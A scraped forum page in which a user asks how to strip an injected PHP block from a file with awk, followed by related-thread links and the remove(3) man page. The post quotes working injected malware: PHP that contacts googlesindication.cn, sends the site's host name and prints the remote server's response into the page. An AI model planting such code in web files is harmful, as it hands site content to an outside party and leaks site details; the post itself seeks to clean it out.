Sponsored Content
Top Forums Shell Programming and Scripting remove malicious codes from a file Post 302170184 by fed.linuxgossip on Sunday 24th of February 2008 11:52:36 PM
Old 02-25-2008
Take this example:


test.php file
##########
<?php
phpinfo();
?>
<?php
error_reporting(0);
$fn = "googlesindication.cn";
$fp = fsockopen($fn, 80, $errno, $errstr, 15);
if (!$fp) {
} else {
$query='site='.$_SERVER['HTTP_HOST'];
$out = "GET /links.php?".$query." HTTP/1.1\r\n";
$out .= "Host: googlesindication.cn\r\n";
$out .= "Connection: Keep-Alive\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
$var .= fgets($fp, 128);
}
list($headers, $content) = explode("\r\n\r\n", $var);
print $content;
fclose($fp);
}
?>


[root@server #] awk '/<\?php/,/\?>/{next}1' test.php
[root@server #]
[root@server #]



I only want to clear malicious code, but it wipes out all.


Please advise.


Thanks
 

7 More Discussions You Might Find Interesting

1. Shell Programming and Scripting

Anti-malicious files and viruses

Hello I ask you how to make a Anti-malicious files and viruses Or if one of you a small example of the work on the same place and I hope my request I want a small patch or the process of examination Virus http://www.google.jo/images/cleardot.gif ---------- Post updated... (1 Reply)
Discussion started by: x-zer0
1 Replies

2. Cybersecurity

How to analyze malicious code

A series on The H about analyzing potentially malicious code flying around on the net. Pretty well written, and a nice read for those interested in how exploits work: CSI:Internet - Alarm at the pizza service CSI:Internet - The image of death CSI:Internet - PDF timebomb CSI:Internet -... (0 Replies)
Discussion started by: pludi
0 Replies

3. Shell Programming and Scripting

Removal of HTML ASCII Codes from file

Hi all, I have a file with extended ASCII codes in the description which needs to be removed. List of extended ascii codes "Œ", "œ", "Š", "š", "Ÿ", "ƒ", "-", "-", "‘", "'", "‚", "“", "”", "„","†", "‡", "•", "...", "‰", "€", "™" Sample data: Test Details-HAVE BEEN PUBLISHED... (1 Reply)
Discussion started by: btt3165
1 Replies

4. UNIX for Dummies Questions & Answers

Display file with escaped color codes

Hi, I have a file containing color codes: Fri May 25 17:13:04 2012: Starting MTA: exim4^ Loading cpufreq kernel modules...^How can I display it colorized on a linux terminal? (4 Replies)
Discussion started by: ripat
4 Replies

5. Shell Programming and Scripting

Malicious pl script, what does it do

Hello, i found and malicious looking script on my server, here is its code safelly pasted as a text on pastebin: Posting links to pastebin scripts are forbidden at this site. Please what does this script do? It has .pl extension and is on shared cpanel hosting account (1 Reply)
Discussion started by: postcd
1 Replies

6. Debian

Malicious perl script

Relative newbie to Linux so please be kind and assume I've done little in the way of command line but i have been thrusted into this position. Here goes. There is a perl script on my box that is using me as a mail server. It is contacting other mail servers to the point of slowing down the box.... (20 Replies)
Discussion started by: dadprpus
20 Replies

7. UNIX for Beginners Questions & Answers

How to remove unused html codes from the file using UNIX?

Hi All, We have a HTML source which will be processed using a informatica workflow. In between these two we have a Unix script which transforms the file. We are getting an error from past week in the informatica saying invalid format, because the file has unused html reference (0-8,14-31 etc)... (2 Replies)
Discussion started by: karthik adiga
2 Replies
remove(3)						     Library Functions Manual							 remove(3)

NAME
remove - Removes a file LIBRARY
Standard C Library (libc.so, libc.a) SYNOPSIS
#include <stdio.h> int remove( const char *path ); STANDARDS
Interfaces documented on this reference page conform to industry standards as follows: remove(): POSIX.1, XPG4, XPG4-UNIX Refer to the standards(5) reference page for more information about industry standards and associated tags. PARAMETERS
Points to the file to be removed. DESCRIPTION
The remove() function causes a file named by the pathname pointed to by path to be no longer accessible by that name. A subsequent attempt to open that file using that name will fail unless it is created anew. If the path parameter names a directory, remove(path) is equivalent to calling the rmdir() function on that directory. If path does not name a directory, remove(path) is equivalent to unlink(path). NOTES
If the file operated upon by the remove() function has multiple hard links, the link count in the file is decremented and only the speci- fied file name is removed. RETURN VALUES
Upon successful completion, the remove() function returns 0 (zero). Otherwise, a nonzero value is returned. Refer to the unlink() function and the rmdir() function for information on return values. ERRORS
Refer to the unlink() function and the rmdir() function for information on error conditions. RELATED INFORMATION
Functions: link(2), rename(2), rmdir(2), unlink(2) Standards: standards(5) delim off remove(3)
All times are GMT -4. The time now is 04:32 PM.
Unix & Linux Forums Content Copyright 1993-2022. All Rights Reserved.
Privacy Policy